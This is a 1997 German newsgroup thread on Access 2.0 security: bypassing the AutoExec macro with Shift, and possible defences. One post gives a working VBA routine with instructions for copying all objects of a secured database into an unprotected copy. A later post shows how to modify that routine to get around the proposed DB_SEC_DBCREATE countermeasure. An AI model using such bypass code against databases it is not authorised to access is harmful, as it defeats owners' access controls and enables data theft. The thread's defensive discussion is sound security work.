Umgehen des Autoexec - Makros mit der Shift - Taste
Frank Alpen
Moin, moin,
um meine Datenbanken für den User zu sichern werden im Autoexec - Makro nur
spezielle Formulare und Menüleisten freigegeben. Leider kann man das Makro
beim Start einer Datenbank durch das Drücken der Shift-Taste umgehen, so
das jeder auch "hinter die Kulissen" schauen kann. Gibt es eine Möglichkeit
bei Access 2.0 dieses zu verhindern, so daß nur ich über ein Paßwort an des
Datenbankfenster herankomme ??
Mit freundlichen Grüßen
Frank Alpen
Ralf Prengel
In article <01bc3db8$2217e780$e369...@f.alpen.itzehoe.netsurf.de>,
f.a...@itzehoe.netsurf.de says...
Gibt es eine Möglichkeit
>bei Access 2.0 dieses zu verhindern, so daß nur ich über ein Paßwort an
des
>Datenbankfenster herankomme ??
Nur eine Vermutung da mein Acces-Wissen recht dürftig ist.
Was ist mit Runtimeversionen?
--
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
sup...@materna.de
Ralf.P...@materna.de
Tel 0231-5599-111 Fax 0231-5599-555
Who is General Failure and why is he reading my harddisk?
Roland Ottersbach
Das Sperren des Autoexec-Macros ist nur in der Runtime-Version direkt
moeglich.
Ich Du moechtest den Benutzer daran hindern via
Access-Entwicklungsumgebung an das Datenbankfenster zu gelagen.
Wenn Du nicht die Runtime-version benutzen moechtest, gibt es einen
Umweg, den ich sebst schon erfolgreich getestet habe:
1. Ein VB-Programm oder Delphi-Programm oeffnet ein Fenster sysmodal
(Welcome-Bildschirm, etc.) und führt Access zusammen mit Deiner
Applikation im Hintergrund aus.
2. Ueber ein Flag (Datei oder DLL-Eintrag) meldet Deine Applikation in
Access dem VB-Programm, daß Deine Applikation komplett geladen ist -
Hauptmenu, etc. - (Zeitpunkt bestimmst Du selbst!) und sich das
VB-Programm nun verpfeifen kann.
3. Das VB-Programm beendet sich aufgrund des Flags und hinterlaesst
Deine Applikation unter Access wie eine eigene , nicht unterbrechbare
Applikation.
Gruss
Roland
Torsten Hoppe
Frank Alpen wrote:
>
> Moin, moin,
>
> um meine Datenbanken für den User zu sichern werden im Autoexec - Makro nur
> spezielle Formulare und Menüleisten freigegeben. Leider kann man das Makro
> beim Start einer Datenbank durch das Drücken der Shift-Taste umgehen, so
> bei Access 2.0 dieses zu verhindern, so daß nur ich über ein Paßwort an des
> Datenbankfenster herankomme ??
>
>
> Frank Alpen
Geht definitiv nicht. Abhilfe schafft hier nur eine hoehere
Access-Version
oder die runtime-Variante von Access 2.0.
gruss
Torsten
--------------------------------------
Dipl.-Ing. Torsten Hoppe
ho...@cns.mpg.de
day care clinic of cognitive neurology
D-04103 Leipzig
Liebigstrasse 22a
http://www.uni-leipzig.de/~tk/
phon +49 341 9724976
fax +49 341 9724989
--------------------------------------
Gerald Huber
In article <33499cf1...@news.nacamar.de> Juen...@gus.de (Christoph Juengling) writes:
>Roland.O...@materna.de (Roland Ottersbach) wrote:
>>1. Ein VB-Programm oder Delphi-Programm oeffnet ein Fenster sysmodal
>>(Welcome-Bildschirm, etc.) und f=FChrt Access zusammen mit Deiner
>>Applikation im Hintergrund aus.
>>2. Ueber ein Flag (Datei oder DLL-Eintrag) meldet Deine Applikation in
>>Access dem VB-Programm, da=DF Deine Applikation komplett geladen ist -
>>Hauptmenu, etc. - (Zeitpunkt bestimmst Du selbst!) und sich das
>>VB-Programm nun verpfeifen kann.
>>3. Das VB-Programm beendet sich aufgrund des Flags und hinterlaesst
>>Deine Applikation unter Access wie eine eigene , nicht unterbrechbare
>>Applikation.
>Und wer hindert mich daran, die Datei mit einem selbstgebastelten Icon
>aufzurufen?
Nicht ganz unmoeglich unter 3.11 (95 weiss ich nicht)
Z. B. Eine geeignete Umgebung, in der er den Windowsstart nicht
umgehen kann und ein progman dem du mittels INI Eintrag
so haessliche Dinge wie Datei/Neu entziehst.
Gruss, Gerald
--
Karsten Pries
In article <Gerald.Huber....@geographie.uni-regensburg.de>,
Gerald...@geographie.uni-regensburg.de (Gerald Huber) wrote:
>
>Nicht ganz unmoeglich unter 3.11 (95 weiss ich nicht)
>Z. B. Eine geeignete Umgebung, in der er den Windowsstart nicht
>umgehen kann und ein progman dem du mittels INI Eintrag
>so haessliche Dinge wie Datei/Neu entziehst.
>
Und was ist mit Datei/Ausfuehren? Oder dem DOS-Fenster unter W95?
Und selbst wenn es dann laeuft, was passiert bei F11?
Irgendwie ist das doch alles nur 'Security Obscurity'.
Aber ein Loesung habe ich auch nicht.
Ciao Karsten
--
Karsten Pries E-Mail: pr...@informatik.tu-muenchen.de
Munich, Germany http://www.informatik.tu-muenchen.de/~pries/
Gerald Huber
In article <U4JRzM8B...@informatik.tu-muenchen.de> pr...@informatik.tu-muenchen.de (Karsten Pries) writes:
>In article <Gerald.Huber....@geographie.uni-regensburg.de>,
>Gerald...@geographie.uni-regensburg.de (Gerald Huber) wrote:
>>
>>Nicht ganz unmoeglich unter 3.11 (95 weiss ich nicht)
>>Z. B. Eine geeignete Umgebung, in der er den Windowsstart nicht
>>umgehen kann und ein progman dem du mittels INI Eintrag
>>so haessliche Dinge wie Datei/Neu entziehst.
>>
>Und was ist mit Datei/Ausfuehren?
Das faellt auch unter die Haesslichen,
die man zu entziehen hat.
Wie steht im Resourcekit, denn es
auf dem MS server kostenlos gibt.
>Oder dem DOS-Fenster unter W95?
Wie gesagt. 95 weiss ich nicht.
>Und selbst wenn es dann laeuft, was passiert bei F11?
Verfaengliche Tasten in Access abzufangen
ist Sache des Programmierers.
Hier gings ja um das Autoexecblockierenblockieren.
>Irgendwie ist das doch alles nur 'Security Obscurity'.
Nobody is perfect.
Gruss, Gerald
--
Bernhard Funk
van den Brandt wrote:
>
> Frank Alpen <f.a...@itzehoe.netsurf.de> schrieb im Beitrag
> <01bc3db8$2217e780$e369...@f.alpen.itzehoe.netsurf.de>...
> > Moin, moin,
> >
> > um meine Datenbanken für den User zu sichern werden im Autoexec - Makro
> nur
> > spezielle Formulare und Menüleisten freigegeben. Leider kann man das
> Makro
> > beim Start einer Datenbank durch das Drücken der Shift-Taste umgehen, so
> > das jeder auch "hinter die Kulissen" schauen kann. Gibt es eine
> Möglichkeit
> > bei Access 2.0 dieses zu verhindern, so daß nur ich über ein Paßwort an
> des
> > Datenbankfenster herankomme ??
>
> sondern lediglich aufzeigen, daß unter 2.0 eine Datenbank nicht
> geschützt werden kann, wenn die Vollversion zur Verfügung steht.
>
hallo!
ich habe das nicht ausprobiert, aber diese vorgehensweise müßte
abgeblockt werden, wenn man dem benutzer ( und den entsprechenden
gruppen) die berechtigung zur erstellung einer neuen datenbank entzieht.
das geht über dao mit der konstante DB_SEC_DBCREATE bzw deren
verneinung Not DB_SEC_DBCREATE (in access2.0). falls die datenbank
ansonsten sauber abgesichert ist (entzug jegliche berechtigungen für das
admin-konto, löschen des admin aus der administrator-gruppe, entzug
jeglicher berechtigungen für die users und guests-konten, eindeutige
definition einer arbeitsgruppe), dürfte dieses schlupfloch vermauert
sein.
van den Brandt
Frank Alpen <f.a...@itzehoe.netsurf.de> schrieb im Beitrag
<01bc3db8$2217e780$e369...@f.alpen.itzehoe.netsurf.de>...
> Moin, moin,
>
> um meine Datenbanken für den User zu sichern werden im Autoexec - Makro
nur
> spezielle Formulare und Menüleisten freigegeben. Leider kann man das
Makro
> beim Start einer Datenbank durch das Drücken der Shift-Taste umgehen, so
> das jeder auch "hinter die Kulissen" schauen kann. Gibt es eine
Möglichkeit
> bei Access 2.0 dieses zu verhindern, so daß nur ich über ein Paßwort an
des
> Datenbankfenster herankomme ??
Ich möchte mit meinem Beitrag nicht zum Datenklau aufrufen,
sondern lediglich aufzeigen, daß unter 2.0 eine Datenbank nicht
geschützt werden kann, wenn die Vollversion zur Verfügung steht.
Vorgehensweise:
1. öffnen der geschützten Datenbank unter Umgehung des AutoExec
Macros falls vorhanden - Shift-Taste gedrückt halten -
2. erstellen eines neuen Moduls; Modul nicht speichern
3. die Sub "Insecure ()" in das Modul kopieren
4. im Direktfenster den Befehl "Insecure" ausführen
es wird eine ungeschützte Kopie der aktuellen Datenbank
mit Namen "INSECURE.MDB" im aktuellen
Verzeichnis erzeugt
und nun die Prozedur:
Sub Insecure ()
On Error Resume Next
DoCmd Hourglass True
Dim I%, Tmp, MyDb As Database
Kill "insecure.mdb"
Set MyDb = DBEngine(0).CreateDatabase("insecure.mdb", DB_LANG_GENERAL)
Set MyDb = DBEngine(0)(0)
For I = 0 To MyDb.TableDefs.count - 1
Tmp = MyDb.TableDefs(I).name
If Mid(Tmp, 2, 3) <> "Sys" Then DoCmd CopyObject "Insecure.mdb",
Tmp, A_TABLE, Tmp
Next I
For I = 0 To MyDb.QueryDefs.count - 1
Tmp = MyDb.QueryDefs(I).name
DoCmd CopyObject "Insecure.mdb", Tmp, A_QUERY, Tmp
Next I
For I = 0 To MyDb.containers("Forms").documents.count - 1
Tmp = MyDb.containers("Forms").documents(I).name
DoCmd CopyObject "Insecure.mdb", Tmp, A_FORM, Tmp
Next I
For I = 0 To MyDb.containers("Reports").documents.count - 1
DoCmd CopyObject "Insecure.mdb", Tmp, A_REPORT, Tmp
Tmp = MyDb.containers("Reports").documents(I).name
Next I
For I = 0 To MyDb.containers("Scripts").documents.count - 1
Tmp = MyDb.containers("Scripts").documents(I).name
DoCmd CopyObject "Insecure.mdb", Tmp, A_MACRO, Tmp
Next I
For I = 0 To MyDb.containers("Modules").documents.count - 1
Tmp = MyDb.containers("Modules").documents(I).name
DoCmd CopyObject "Insecure.mdb", Tmp, A_MODULE, Tmp
Next I
DoCmd Hourglass False: Beep
MsgBox "Die ungeschützte Datenbank (INSECURE.MDB) wurde im aktuellen
Verzeichnis erstellt.", 64
End Sub
Michael Storchmann
v...@online-club.de (van den Brandt) schrieb am 05.04.1997 um 13:16:46 Uhr :
> 2. erstellen eines neuen Moduls; Modul nicht speichern
>
> 3. die Sub "Insecure ()" in das Modul kopieren
Das kann aber nur passieren, wenn er mit der Access-Normalversion das Recht
hat, die DB zu öffnen. Mit einer (durch Dongle gecrypteten) mda, die nur
von einer (wiederum per Dongle) modifizierten Laufzeitversion von Access,
geöffnet werden kann, kann man (meines Wissens) dieses Sicherheitsloch
beheben.
Bye, Michael
Christoph Schmülling
On 5 Apr 1997 13:16:46 GMT, "van den Brandt" <v...@online-club.de>
wrote:
>
>Frank Alpen <f.a...@itzehoe.netsurf.de> schrieb im Beitrag
><01bc3db8$2217e780$e369...@f.alpen.itzehoe.netsurf.de>...
>> Moin, moin,
>>
>> um meine Datenbanken für den User zu sichern werden im Autoexec - Makro
>nur
>> spezielle Formulare und Menüleisten freigegeben. Leider kann man das
>Makro
>> beim Start einer Datenbank durch das Drücken der Shift-Taste umgehen, so
>> das jeder auch "hinter die Kulissen" schauen kann. Gibt es eine
>Möglichkeit
>> bei Access 2.0 dieses zu verhindern, so daß nur ich über ein Paßwort an
>des
>> Datenbankfenster herankomme ??
>
>Ich möchte mit meinem Beitrag nicht zum Datenklau aufrufen,
>sondern lediglich aufzeigen, daß unter 2.0 eine Datenbank nicht
>geschützt werden kann, wenn die Vollversion zur Verfügung steht.
>
>Vorgehensweise:
>
>1. öffnen der geschützten Datenbank unter Umgehung des AutoExec
> Macros falls vorhanden - Shift-Taste gedrückt halten -
>
>2. erstellen eines neuen Moduls; Modul nicht speichern
>
>3. die Sub "Insecure ()" in das Modul kopieren
>
Das ist eine ziemliche Schweinerei ! (kein Vorwurf)
Hast Du ein Gegenmittel ?
1. Ist es nicht möglich, das Neuerstellen von Modulen durch den
Benutzer zu verhindern ?
2. Trifft Dein Insecure-Vorschlag auch für MDB's zu, die für die
Runtime-Version entwickelt wurden ? (denn schließlich kann man die ja
auch unter ACCESS 2.0 starten) ?
Sach ma schnell Bescheid, ok ? Würde mich freuen ...
Vielen Dank iim Voraus
Christoph
Juergen Heimpel
Hallole
van den Brandt wrote:
> Ich möchte mit meinem Beitrag nicht zum Datenklau aufrufen,
> sondern lediglich aufzeigen, daß unter 2.0 eine Datenbank nicht
> geschützt werden kann, wenn die Vollversion zur Verfügung steht.
(viel Beschreibung und Code)
> 1. öffnen der geschützten Datenbank unter Umgehung des AutoExec
Was verstehst du unter einer geschuetzen Datenbank? Wenn ich eine
Datenbank unter einem neu angelegten User (also nicht der
Standard-Admin) erstelle und allen anderen die Rechte entziehe (Gruppe
User und Admins), kommst Du nicht mehr ran. Auch nicht, wenn Du Dir 'ne
neue system.mda anlegst oder aehnliche Tricks.
(viel Beschreibung und Code)
Gruessle aus Stuttgart, Juergen
--
___________________________________________________________
Juergen Heimpel (PGP available) juergen...@rsw.sni.de
X.400: g=juergen/s=heimpel/ou1=stg2/o=sni/p=scn/a=dbp/c=de
Christoph Schmülling
On 07 Apr 1997 19:42:15 +0200, dr...@viking.ruhr.com (Michael
Storchmann) wrote:
>v...@online-club.de (van den Brandt) schrieb am 05.04.1997 um 13:16:46 Uhr :
>
>> 2. erstellen eines neuen Moduls; Modul nicht speichern
>>
>> 3. die Sub "Insecure ()" in das Modul kopieren
>
>Das kann aber nur passieren, wenn er mit der Access-Normalversion das Recht
>hat, die DB zu öffnen. Mit einer (durch Dongle gecrypteten) mda, die nur
>von einer (wiederum per Dongle) modifizierten Laufzeitversion von Access,
>geöffnet werden kann, kann man (meines Wissens) dieses Sicherheitsloch
>beheben.
>
>Bye, Michael
Lieber Michael,
das habe ich nicht versatanden - sorry. Ich bin halt 'n bisschen dumm.
Klär mich (und evtl. andere) doch bitte nochmal auf, was eine
Dongle-gecryptete mda ist etc..
Die entscheidende Frage ist doch, wie man einen User davon abhalten
kann, ein neues Modul zu erstellen, oder ?
Wäre dankbar für 'ne Antwort. Bis dann
Christoph
Christoph Schmülling
Hallo Jürgen,
leider hast Du wahrscheinlich Unrecht. Ich habe, nach bestem Wissen
(vielleicht reicht das ja nicht) eine Secure-DB erstellt. Trotzdem
funktionierte der Insecure-Trick - so ein Mist ! Das Problem, für das
ich noch keine Lösung habe ist, daß ein ("dahergelaufener") User in
meiner MDB ein neues Modul erstellen kann. Ich weiß bisher nicht, wie
ich das verhindern kann. Hast Du eine Lösung ? Wäre dankbar für eine
Antwort. Gruß Christoph.
Alfred Enko
In article <334c3519...@news-s01.ca.us.ibm.net>,
Es kommt noch schlimmer:
Wenn ein Infouser der ausser anschauen keine Berechtigungen hat die Datenbank
mit der Funktion "Insecure" erstellt, wird er damit zum Eigentümer und hat
dann alle Rechte.
Witzigerweise kann dann der Administrator, der die gesicherte Datenbank
normalerweise nicht mal öffnen kann dann auch wieder alle Rechte (zumindest in
2.0)
Fazit---die ganze Security ist für die Katz´.
alfred
van den Brandt
Da das Modul nicht gespeichert, und im Direktfenster gestartet
wird, verletze ich mit meiner Vollversion keine Rechte.
Ich öffne keine Formulare oder Tabellen etc., sondern kopiere sie
nur mit der Funktion in eine neue Datenbank.
Dabei gehen die Informationen zum ursprünglichen Eigentümer
und seinen Rechten verloren. Beim Erstellen in der neuen
Datenbank gelten die Einstellungen der Rechte.MDA, der
ich angeschlossen bin.
Ich denke, daß es eine Lücke immer geben wird, wenn ein
findiger Benutzer über die Vollversion verfügt und sich die
Datenbank auf Diskette ziehen kann.
Nochwas zu der Funktion;
ich nutze das Teil, um aus Anwendungen heraus unter dem
Systemdatum (z.B.: 08_04_97.mdb) eine Sicherrungskopie
des aktuellen Tabellenbestandes zu erstellen.
Da ich wegen meiner Nachricht + Funktion ausgepfiffen
worden bin (zu lang) nun die Frage, ob ich das Teil hier
zur Verfügung stellen soll (als Anhang gezipt oder als
Text).
Bis denne
Heinz
Alfred Enko
In article <334681...@rz.uni-sb.de>,
Bernhard Funk <ref...@rz.uni-sb.de> wrote:
>van den Brandt wrote:
>>
>> Frank Alpen <f.a...@itzehoe.netsurf.de> schrieb im Beitrag
>> <01bc3db8$2217e780$e369...@f.alpen.itzehoe.netsurf.de>...
>> > Moin, moin,
>> >
>> > um meine Datenbanken für den User zu sichern werden im Autoexec - Makro
>> nur
>> > spezielle Formulare und Menüleisten freigegeben. Leider kann man das
>> Makro
>> > beim Start einer Datenbank durch das Drücken der Shift-Taste umgehen, so
>> > das jeder auch "hinter die Kulissen" schauen kann. Gibt es eine
>> Möglichkeit
>> > bei Access 2.0 dieses zu verhindern, so daß nur ich über ein Paßwort an
>> des
>> > Datenbankfenster herankomme ??
>>
>> sondern lediglich aufzeigen, daß unter 2.0 eine Datenbank nicht
>> geschützt werden kann, wenn die Vollversion zur Verfügung steht.
>>
>
>
>ich habe das nicht ausprobiert, aber diese vorgehensweise müßte
>abgeblockt werden, wenn man dem benutzer ( und den entsprechenden
>gruppen) die berechtigung zur erstellung einer neuen datenbank entzieht.
>das geht über dao mit der konstante DB_SEC_DBCREATE bzw deren
>verneinung Not DB_SEC_DBCREATE (in access2.0). falls die datenbank
>ansonsten sauber abgesichert ist (entzug jegliche berechtigungen für das
>admin-konto, löschen des admin aus der administrator-gruppe, entzug
>jeglicher berechtigungen für die users und guests-konten, eindeutige
>definition einer arbeitsgruppe), dürfte dieses schlupfloch vermauert
>sein.
HI,
kannst du mir bitte mal erklären wie das mit DB_SEC_DBCREATE (2.0) gemeint
war? Ich habe diese Konstante nirgends gefunden
Danke
Alfred
Gerald Huber
In article <01bc4445$df52a9a0$0100007f@586er> "van den Brandt" <v...@online-club.de> writes:
>Da ich wegen meiner Nachricht + Funktion ausgepfiffen
>worden bin
Ohrenstoepsel verwenden ;-)
>(zu lang) nun die Frage, ob ich das Teil hier
>zur Verfügung stellen soll (als Anhang gezipt oder als
>Text).
Ich koennte der newsgroup ein paar MB auf
dem FTP Server unseres Lehrstuhls einrauemen,
solange damit kein Unsinn getrieben wird.
(copyright Material o. ae.)
Ist allerdings eine langsame Maschine.
Interesse?
Gruss, Gerald
--
van den Brandt
--
Auf Grund der mangelhaften Versorgung durch
meinen Provider kann es zu Verzögerungen kommen.
>
> Ohrenstoepsel verwenden ;-)
>
hab ich wegen meines eigenen Schnarschens eh
>
> Ich koennte der newsgroup ein paar MB auf
> dem FTP Server unseres Lehrstuhls einrauemen,
> solange damit kein Unsinn getrieben wird.
> (copyright Material o. ae.)
> Ist allerdings eine langsame Maschine.
wäre nicht schlecht
Heinz
Bernhard Funk
Alfred Enko wrote:
> >
> >hallo!
> >
> >ich habe das nicht ausprobiert, aber diese vorgehensweise müßte
> >abgeblockt werden, wenn man dem benutzer ( und den entsprechenden
> >gruppen) die berechtigung zur erstellung einer neuen datenbank entzieht.
> >das geht über dao mit der konstante DB_SEC_DBCREATE bzw deren
> >verneinung Not DB_SEC_DBCREATE (in access2.0). falls die datenbank
> >ansonsten sauber abgesichert ist (entzug jegliche berechtigungen für das
> >admin-konto, löschen des admin aus der administrator-gruppe, entzug
> >jeglicher berechtigungen für die users und guests-konten, eindeutige
> >definition einer arbeitsgruppe), dürfte dieses schlupfloch vermauert
> >sein.
>
> HI,
> kannst du mir bitte mal erklären wie das mit DB_SEC_DBCREATE (2.0) gemeint
> war? Ich habe diese Konstante nirgends gefunden
>
> Danke
> Alfred
hi!
folgender auszug ist aus der a2.0-online-hilfe kopiert (suche nach
'permissions-eigenschaft'):
>DB_SEC_REPLACEDATA Kann Datensätze ändern.
>DB_SEC_DELETEDATA Kann Datensätze löschen.
>Bei einem Container-Objekt, das Datenbanken repräsentiert, oder bei einem beliebigen Document-Objekt in seiner Documents-Auflistung können Sie "Permissions" zusätzlich auf eine der folgenden Konstanten einstellen.
>
>Konstante Benutzer oder Gruppe
>DB_SEC_DBCREATE Kann eine neue Datenbank erstellen (nur gültig für das Container-Objekt in der Systemdatenbankgewöhnlich SYSTEM.MDA).
>DB_SEC_DBEXCLUSIVE Besitzt exklusiven Zugriff.
>DB_SEC_DBOPEN Kann die Datenbank öffnen.
>Verwendung
>
>Die Einstellung dieser Eigenschaft erlaubt Lese-/Schreibzugriff.
>
>Bemerkungen
>
>Verwenden Sie diese Eigenschaft, um den Typ der Berechtigungen in bezug auf Lese-, Schreib-und >Änderungszugriff festzulegen oder zu ermitteln, die der über die Eigenschaft "UserName" angegebene Benutzer >für ein Container- oder Document-Objekt besitzt.
>Document-Objekte, die Sie in der Documents-Auflistung eines Container-Objekts erstellen, übernehmen die >Einstellungen der Eigenschaften "UserName" und "Permissions" des Container-Objekts. Sie können bei einzelnen >Document-Objekten, bei denen dies möglich ist, auch selbst die Eigenschaften "UserName" und "Permissions" >einstellen.
db_sec_dbcreate wird gegenüber der system-db benutzt. falls du ihn
ausprobieren willst, benutze folgende syntax:
Dim ws As WorkSpace, db As Database, c As Container, SystemDB As
String
SystemDB = "c:\meinPfad\system.mda"
Set ws = dbengine.workspaces(0)
Set db = ws.OpenDatabase(SystemDB)
Set c = db.Containers!Databases
c.username = "meinBenutzer"
c.permissions = c.permissions And Not db_sec_dbcreate
c.username = "meineGruppe"
c.permissions = c.permissions And Not db_sec_dbcreate
c.username = "guests"
c.permissions = c.permissions And Not db_sec_dbcreate
c.username = "users"
c.permissions = c.permissions And Not db_sec_dbcreate
ich habe das mittlerweile mit NOT DB_SEC_DBCREATE ausprobiert. der in
der newsgroup zitierte code ist damit wirkungslos, da der benutzer eine
fehlermeldung erhält, dass er die neue db nicht erstellen kann. das
trotzdem noch bestehende problem: es muesste (habe ich nicht überprüft,
erscheint mir aber konsequent und logisch) dem benutzer trotzdem möglich
sein, die objekte zu kopieren, indem er, statt eine neue db unter seiner
anmeldung in der gesicherten db anzulegen, einfach mit der
access-vollversion unter der admin-anmeldung eine neue db anlegt und die
objekte dahin kopiert. in dem in der newsgroup zitierten code müßte
dann nur die zeilen:
Set MyDb = DBEngine(0).CreateDatabase("insecure.mdb", DB_LANG_GENERAL)
Set MyDb = DBEngine(0)(0)
durch folgende zeilen ersetzt werden:
dim ws as workspace, neuDB as database
set ws=dbengine.workspaces(0)
set neuDB=ws.openDatabase("c:\neueDB") 'neueDB ist die unter der
admin-anmeldung angelegte db
set MyDb=dbengine(0)(0)
beim iterieren durch die objektauflistungen muß der code
DoCmd CopyObject "Insecure.mdb", Tmp, A_QUERY, Tmp
durch
DoCmd CopyObject "c:\NeuDb", Tmp, A_QUERY, Tm
ersetzt werden. der einzige gewinn durch not db_sec_dbcreate ist also,
daß ein dumm-user, der keine ahnung hat von dem was er macht und an
diesen code gelangt, damit nichts anfangen kann. sollte er jedoch ein
wenig ahnung haben und den code auch verstehen, dann dürfte es für ihn
kein problem sein, durch o.g. änderungen die db-objekte trotzdem zu
kopieren.
in der newsgroup comp.databases-ms-access habe ich folgendes posting
gefunden, daß sich mit dem access-sicherheitsloch beschäftigt, und IMHO
eine intressante und intelligente ansätze dazu hat:
>From - Sun Apr 06 15:32:27 1997
>From: Chri...@nomail.please (Chris Bell [MVP])
>Subject: Re: Yipes! My 2.0 Runtime is vulnerable! Help!
>Date: Sat, 05 Apr 1997 18:16:05 GMT
>Organization: The KASE Corporation
>Message-ID: <334a96b5...@msnews.Microsoft.com>
>References: <pauls-27039...@sf-pm5-5-69.dialup.slip.net> <01bc3af4$d67d5320$29722299@princess> <pauls-28039...@sf-pm8-26-186.dialup.slip.net> <01bc3bc2$c432f7a0$5d272299@princess> <33447419...@msnews.microsoft.com> <pauls-ya02408000...@news.slip.net>
>X-Newsreader: Forte Agent 1.0/32.390
>MIME-Version: 1.0
>Content-Type: text/plain; charset=us-ascii
>Content-Transfer-Encoding: 7bit
>Newsgroups: microsoft.public.access.security,comp.databases.ms-access
>Path: hades.rz.uni-sb.de!news-kar1.dfn.de!news-fra1.dfn.de!news.apfel.de!nntp.uio.no!newsfeeds.sol.net!ix.netcom.com!cpk-news-hub1.bbnplanet.com!cam-news-hub1.bbnplanet.com!news.bbnplanet.com!hermes.sovam.com!sovam!demos!uppssnewspub03.moswest.msn.net!uppssnewspub04.moswest.msn.net
>Lines: 233
>Xref: hades.rz.uni-sb.de microsoft.public.access.security:1705 comp.databases.ms-access:141410
>
>:..... pa...@slip.net (Paul Silverman) wrote:
>: In fact, the SysCmd() strategywas very helpful, but there still
>: remained that pesky /x switch thing. I thought I'd share my solution
>: on the thread, and see if it proves helpful for anyone else.
>: Basically, one danger, as we've discussed, comes from somebody with
>: full retail Access opening up the .MDB in a runtime app and adding
>: new objects, such as a macro which can be started with the /x
>: switch, even through the runtime version of Access. So I built a new
>: function, which gets called in my AutoExec macro which Checks to see
>: if user has created any new, unauthorized objects
>: Of course, this strategy doesn't plug up the Copy/Rename disasters,
>: but it does provide one more level of protection against Pesky
>: Snoopers.
>:.............................................................
>
>Paul,
>
>I've combined this strategy with some other clever tricks and I think
>I have a pretty bullet-proof scenario for you ... I think you'll like
>this <g>.
>
>Knowing what we do now about the copy/paste and rename flaws its not
>possible to protect intellectual property such as code nor prevent
>users form creating and saving mutant versions of Access objects
>(forms, reports, modules).
>
>Using a bit of lateral thinking the key is not to protect the Access
>objects but rather to protect the data from the Access objects. IOW to
>be able to restrict access to an application state ... if the state of
>any Access object changes then data should be denied. This effect of
>data denial effectively ensures application integrity and eliminates
>any advantage to the malevolent user.
>
>There is three basic principles involved :
>
>1) Confine data access to the run-time application
>2) Restrict data access to RWOP queries
>3) Disable RWOP queries if run-time application state changed
>
>Confine Data access to the run-time application
>----------------------------------------------------------------------------
>Permissions for *base* tables (in the data mdb) are removed apart from
>Read Design which is the minimum permission necessary to attach a
>table from the app. This prevents users gaining access to the data via
>the data mdb itself.
>
>Each base table has a Table validation rule that verifies Syscmd(6) =
>True ... this will prevent data updates in other than the run-time.
>
>Access to the tables in the app mdb is controlled entirely by RWOP
>queries which all have a conditional column verifying Syscmd(6) =
>True. This ensures data can only be viewed/edited in the run-time. A
>side-effect is that since Sysmd is an Access function other programs
>like VB cannot run the query.
>
>Restrict access to the RWOP queries
>-----------------------------------------------------------
>Without any protection against macro creation or alteration a user can
>create a macro which opened a RWOP query and use that in the /x
>command line switch to start the run-time version. After the Autoexec
>was run the macro would execute and provide "open slather" on the data
>without any form control. Worse still using one of the security flaws
>they could modify the Autoexec macro itself.
>
>Fortunately, there *is* an undocumented way to prevent users from
>creating, changing or deleting macros. Its done by setting read-only
>permissions on the system table called MSysMacros for the non-admins
>groups. This also provides protection against the paste / rename flaw
>since this is a table and the flaws dont operate on tables or queries.
>
>There should also be no macros that open RWOP queries as part of
>normal system processing.
>
>Apart from using a macro a user could also open a RWOP query directly
>by creating or customising a toolbar under Retail Access and then
>using it in the run-time. Setting Read Data permissions on
>MSysToolbars prevents the saving of any toolbar changes and toolbars
>cannot be customised in the run-time. Toolbars could be temporarily
>modified under retail access but the changes are not persistent.
>
>Unfortunately setting Read Only permissions on MSysObjects does not
>have the same effect. Access handles MSysObjects in its own way still
>permitting changing and creation of objects regardless of the
>permission setting.
>
>Disable RWOP queries if application state changed
>---------------------------------------------------------------------------------
>This is the tricky part and I refined your technique here to remove
>the reliance on code ... which isnt secure.
>
>This step verifies that no objects have been created or modified since
>the application was last deployed. Its a two-step process :
>
>1) Store the Application state
>2) Verify the Application state
>
>Store the Application state
>------------------------------------------
>The basic principle here is to store the profile of the access objects
>as the last step prior to deployment.
>
>To achieve this the MSysObjects table is queried to create a
>"snapshot" in another table <USysAppObjects>. The table contains 3
>fields: Type, Name and DateUpdate. Each field has a non-unique index
>and no Primary Key is required.
>
>Remove all permissions to this table for the non-admins groups.
>
>Upon deployment; an Append Query <USysAppObjects_Append> extracts and
>adds the records. A Delete Query <USysAppOjects_Delete> is used to
>clear the table immediately prior to the Append query. A macro can be
>used to batch the two queries.
>
>Remove all permissions to these queries for the non-admins groups.
>
>If a make table query were used here instead of a delete/append pair
>of queries the permissions for the users would be reset to <New
>Tables/Queries> each time the system was deployed. You would need to
>remember to remove the permissions straight afterwards to ensure the
>users cant edit the data.
>
>2) Check the Application State
>-------------------------------------------------
>The state is determined by using a select query
><USysAppObjects_Verify> which joins the MSysObjects and USysAppObjects
>tables returning the name of any new objects or updated ones. It needs
>to be a RWOP query to permit users to read the table.
>
>If no records are returned from the query then we know the application
>has not been tampered with and data can be returned. To implement the
>check each RWOP query will need to use the DCount function to only
>return records when the result is zero.
>
>Field: HasChanged: DCount("*","USysAppObjects_Verify")
>Criteria : 0
>
>You can also use the DCount function as the condition in the Autoexec
>macro. A value other than 0 indicates one or more mismatches and a
>msgbox can be shown to the effect that data will be denied.
>
>In most cases simply including the verification in the AutoExec may
>suffice but the problem is that a malevolent user could open the
>runtime version (passing the startup check) , then simultaneously open
>the app mdb in retail access (holding down the shift key). Having
>bypassed the Autoexec check they could then change and save one of the
>forms utilising the security flaws and use the modified object in the
>run-tim while it was still open.
>
>The other back-door is to use the /x switch. Even though the AutoExec
>is always initiated first attempting to quit access will fail and the
>command line macro executed. If the macro does not exist the run-time
>will still be open and depending on the interface could then start
>using the modified objects.
>
>If the RWOP queries also include the check then as soon as the user
>modifies and saves an object subsequent data access is denied.
>
>The queries to store and verify the application state can be tailored
>to suit. For example All or selected reports could be excluded by
>"tweaking" the criteria for the report object type (-32764)
>
>I am pretty confident that the state could also be stored just as some
>sort of checksum in a single record (eg. summing all the DateUpdate
>values) and then the verify need only generate and compare the
>checksum returned against the current MSysObjects rather than join
>each object locating mismatches ... it would be a lot quicker.
>
>This isn't going to prevent someone with a hex editor from getting
>past the fire-wall but it sure will stop most.
>
>Pretty neat I think .,.. and all without one line of code !
>
><< append and verify query SQL follows >>
>
>-- Chris Bell --
>
>Append Query : USysAppObjects_Append
>-------------------------------------------------------------------
>INSERT INTO USysAppObjects ( Name, DateUpdate, Type )
>SELECT DISTINCTROW MSysObjects.Name, MSysObjects.DateUpdate,
>MSysObjects.Type FROM MSysObjects
>WHERE ((MSysObjects.Name Not Like ("~*")) AND
>(MSysObjects.Type In (-32761,-32764,-32766,-32768)));
>
>Verify Query: USysAppObjects_Verify
>------------------------------------------------------------
